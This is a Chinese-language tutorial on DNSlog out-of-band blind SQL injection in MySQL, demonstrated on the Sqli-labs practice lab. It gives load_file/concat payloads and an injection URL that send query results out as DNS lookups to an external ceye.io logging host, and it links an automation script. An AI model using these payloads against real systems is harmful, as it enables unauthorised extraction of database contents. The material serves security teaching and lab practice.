01 背景知识
1. 什么是DNS?
DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.test.com
,网络上的DNS Server会将该域名解析,并找到对应的真实IP如192.168.10.11
,使用户可以访问这台服务器上相应的服务。
2. 什么是Dnslog
Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com
、t00ls.com.
等的访问信息。
3.为什么用Dnslog盲注?
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。
02 Dnslog盲注
1.原理
如图,攻击者首先提交注入语句select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
在数据库中攻击语句被执行,由concat
函数将执行结果与XXX.ceye.io\\abc
拼接,构成一个新的域名,而mysql中的select load_file()
可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析
此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io
,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io
的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
总结一下:
Dnslog盲注就是利用load——file()
函数发起请求,使用Dnslog接受请求,获取数据的一种攻击方法
核心语法:
select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')
通过对 "selecct databse()" 这一部分语句的构造,就能实现有回显的SQL注入。
值得注意的是,这些数据格式和内容都有限制,需要进行一些处理,并且只能在Windows平台发起load_file请求
2. 演习
以Sqli-labs中的盲注练习为例:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'You are in...........';
}
else
{
echo 'You are in...........';
}
可以看到这是一个典型的盲注场景,那么构造注入语句
http://127.0.0.1/sqli/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.hacker.ceye.io\\abc'))--+
# hacker是ceye.io分配给注册用户的标识符
在ceye中可以看到当前的数据名security
已经显示出来,后面的发挥想象更改注入语句就可以了
03 工程化Python脚本
直接给地址了(什么时候我也能写出这样的脚本(ˇˍˇ) ~):
https://github.com/ADOOO/DnslogSqlinj